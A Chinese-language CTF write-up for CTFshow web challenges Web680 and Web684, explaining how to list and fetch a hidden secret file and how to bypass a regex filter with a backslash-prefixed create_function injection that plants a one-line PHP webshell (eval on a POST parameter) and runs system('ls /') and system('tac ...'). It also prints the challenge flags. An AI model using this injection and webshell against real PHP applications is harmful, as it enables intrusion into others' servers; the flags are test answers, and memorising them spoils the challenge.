CTFshow大赛原题Writeup

Web680

1638867459075.png

他让我们post一个code去跑,首先尝试传入code=phpinfo();

1638867540846.png

成功弹出phpinfo界面,但是我们发现disable_function几乎禁用了所有的命令执行的函数。

尝试code=echo(file_get_content("secret_you_never_know"));发现也不行,应该是禁用了。这时候可以使用

code=print_r(scandir(dirname('__FILE__')));

scandir:列出目录中的文件和目录

dirname:返回路径中的目录部分

__FILE__:PHP魔术常量,反回当前PHP文件的完整路径和文件名

__FILE__返回当前php页面的文件名和路径,dirname只截取其中的目录部分,.代表当前目录

那么scandir(dirname('__FILE__'))就可以列出当前目录的目录和文件了

1638870563877.png

得到了secret_you_never_know,但是还是不知道如何读取这个文件,发现浏览器访问可以下载这个文件

1638870627539.png

所以flag为:

1
ctfshow{9c116349-3874-4172-ab42-b2abf25e541e}

Web681

Web682

Web683

Web684

1
2
3
4
5
6
7
8
9
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}

分析正则表达式:

^匹配字符串的首字符

*是一个限定符,用来修饰前一个字符或分组,限定匹配重复的数量为任意数量

/i不区分大小写

/s匹配任何不可见字符,包括空格、制表符、换页符等等,等价于[\f\n\r\t\v]

/D如果使用$限制结尾字符,则不允许结尾有换行;

这题可以用create_function()创建匿名函数,前面加一个\用来绕过正则表达式,用}闭合这个匿名函数,然后后面就可以接上一句话木马eval($_POST['Le1a'])?>

1638880896751.png

1
post: Le1a=system('ls /');

1638881037369.png

1
post: Le1a=system('tac /secret_you_never_know');

1638881094730.png

获得flag:

1
ctfshow{87f346a1-a16c-4970-ba08-218c4a11dbae}